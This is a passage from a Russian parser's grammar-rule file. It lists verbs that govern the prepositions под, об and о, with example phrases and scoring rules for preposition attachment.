rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
